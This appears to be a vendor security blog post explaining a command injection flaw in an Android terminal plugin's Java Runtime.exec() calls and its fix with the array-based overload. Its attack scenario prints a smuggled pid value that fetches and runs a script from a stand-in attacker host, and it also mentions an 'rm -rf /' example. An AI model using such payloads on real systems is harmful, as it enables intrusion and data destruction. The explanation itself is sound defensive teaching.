How command injection happens in Java Runtime.exec() and how to fix it

How Command Injection Happens in Java Runtime.exec() and How to Fix It

Introduction

The ProcessUtils.java file in src/plugins/terminal/src/android/ handles process lifecycle management for an Android terminal plugin—specifically killing processes and process trees. But a critical flaw at lines 45 and 57 created a command injection vector: the killProcessTree() and killProcess() methods concatenated process IDs directly into command strings passed to Runtime.getRuntime().exec(String).

This matters because the single-string overload of exec() invokes a system shell (/bin/sh -c) to interpret the command, meaning any shell metacharacters in the pid value—semicolons, pipes, backticks—could chain arbitrary commands. For a Node.js library consumed by downstream applications, this vulnerability could cascade to every project that depends on this terminal plugin.

The Vulnerability Explained

Here's the vulnerable code in ProcessUtils.java:

// In killProcessTree() at line 45:
Runtime.getRuntime().exec("kill -9 -" + pid);

// In killProcess() at line 57:
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

The critical distinction is between the two overloads of Runtime.exec():

1. exec(String command) — Passes the string to the system shell for parsing. The shell interprets metacharacters.
2. exec(String[] cmdarray) — Executes the program directly via the OS, with each array element as a separate argument. No shell involved.

When exec("kill -9 -" + pid) is called, the JVM effectively runs:

/bin/sh -c "kill -9 -<pid_value>"

Attack Scenario

Consider what happens if an attacker can influence the pid value. In this terminal plugin context, process IDs might come from process enumeration, inter-process communication, or stored process records. If an attacker manipulates the stored pid to be:

1234; curl http://attacker.com/shell.sh | sh

The resulting command becomes:

/bin/sh -c "kill -9 -1234; curl http://attacker.com/shell.sh | sh"

This executes the kill command, then downloads and executes a malicious script. On Android, this could mean:
- Exfiltrating app sandbox data
- Installing a persistent backdoor
- Pivoting to attack other apps on the device
- Accessing sensitive files within the app's storage

Even if the pid comes from getPid(process) (which extracts the PID from a Process object), the killProcess(int pid) method accepts an int parameter that could originate from untrusted sources in consuming applications. The int type provides some implicit protection, but the pattern itself is dangerous and sets a precedent for copy-paste vulnerabilities.

The Fix

The fix replaces the single-string exec() call with the array-based overload in both methods:

Before (vulnerable):

// killProcessTree() - line 45
Runtime.getRuntime().exec("kill -9 -" + pid);

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

After (fixed):

// killProcessTree() - line 45
Runtime.getRuntime().exec(new String[]{"kill", "-9", "-" + pid});

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec(new String[]{"kill", "-9", String.valueOf(pid)}).waitFor();

Why This Works

The array-based exec(String[]) does not invoke a shell. Instead, it calls the operating system's execvp() syscall directly:

• cmdarray[0] = the program to execute ("kill")
• cmdarray[1] = first argument ("-9")
• cmdarray[2] = second argument ("-" + pid or String.valueOf(pid))

Even if pid somehow contained "1234; rm -rf /", the OS would try to send signal 9 to a process with the literal name "-1234; rm -rf /", which would simply fail with an error—no command injection possible.

Additionally, note the use of String.valueOf(pid) in killProcess(). Since pid is already an int, this is strictly a type conversion, but it makes the intent explicit and prevents any future refactoring from accidentally introducing string concatenation vulnerabilities.

Prevention & Best Practices

1. Always use the array form of exec(): In Java, Runtime.exec(String[]) or ProcessBuilder with a list of arguments should be the default choice. Never concatenate values into a single command string.

2. Use ProcessBuilder for complex process management:
   java ProcessBuilder pb = new ProcessBuilder("kill", "-9", String.valueOf(pid)); Process p = pb.start(); int exitCode = p.waitFor();
ProcessBuilder is the modern API and makes the array-based invocation natural.

3. Validate inputs at boundaries: Even with safe execution APIs, validate that PIDs are positive integers before passing them to system calls.

4. Lint for dangerous patterns: Configure static analysis tools (SpotBugs, Semgrep, ErrorProne) to flag Runtime.getRuntime().exec(String) calls where the argument is a concatenation expression.

5. Apply the principle of least privilege: Terminal plugins should not run with permissions beyond what's strictly necessary. Consider whether kill -9 is always appropriate or if graceful termination should be attempted first.

Key Takeaways

• Runtime.exec(String) invokes a shell; Runtime.exec(String[]) does not. This single API choice is the difference between injectable and safe code in ProcessUtils.java.
• Process IDs seem safe but aren't always. The killProcess(int pid) method accepts external input—downstream consumers may pass attacker-influenced values.
• The fix is minimal but eliminates the entire attack class. Two lines changed, zero behavioral difference for legitimate use, complete elimination of shell injection.
• Copy-paste patterns propagate vulnerabilities. Both killProcessTree() and killProcess() used the same dangerous pattern—likely one was copied from the other.
• Android terminal plugins are high-value targets. They already have process execution capabilities, making command injection particularly dangerous as it extends those capabilities beyond intended bounds.

How Orbis AppSec Detected This

• Source: The pid parameter in killProcess(int pid) and the return value of getPid(process) in killProcessTree(), which may be influenced by external process data or attacker-controlled input.
• Sink: Runtime.getRuntime().exec(String) in ProcessUtils.java at lines 45 and 57, where the single-string overload invokes shell interpretation.
• Missing control: No use of the array-based exec(String[]) overload; no input sanitization to strip shell metacharacters; no validation that pid contains only numeric characters before command construction.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Replaced exec(String) with exec(String[]) in both killProcessTree() and killProcess(), passing command and arguments as separate array elements to bypass shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection in ProcessUtils.java demonstrates a subtle but critical distinction in Java's process execution API. The single-string Runtime.exec(String) looks convenient but introduces shell interpretation—and with it, the entire class of command injection attacks. The array-based exec(String[]) is equally simple to use but fundamentally safer because it bypasses the shell entirely.

For any Java or Android developer writing process management code: default to ProcessBuilder or exec(String[]). The single-string form should be treated as a code smell that warrants immediate review. Two lines of code separated a critical vulnerability from a secure implementation.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP OS Command Injection Defense Cheat Sheet
• Java Runtime.exec() documentation
• Semgrep rules for command injection
• fix: the processutils in ProcessUtils.java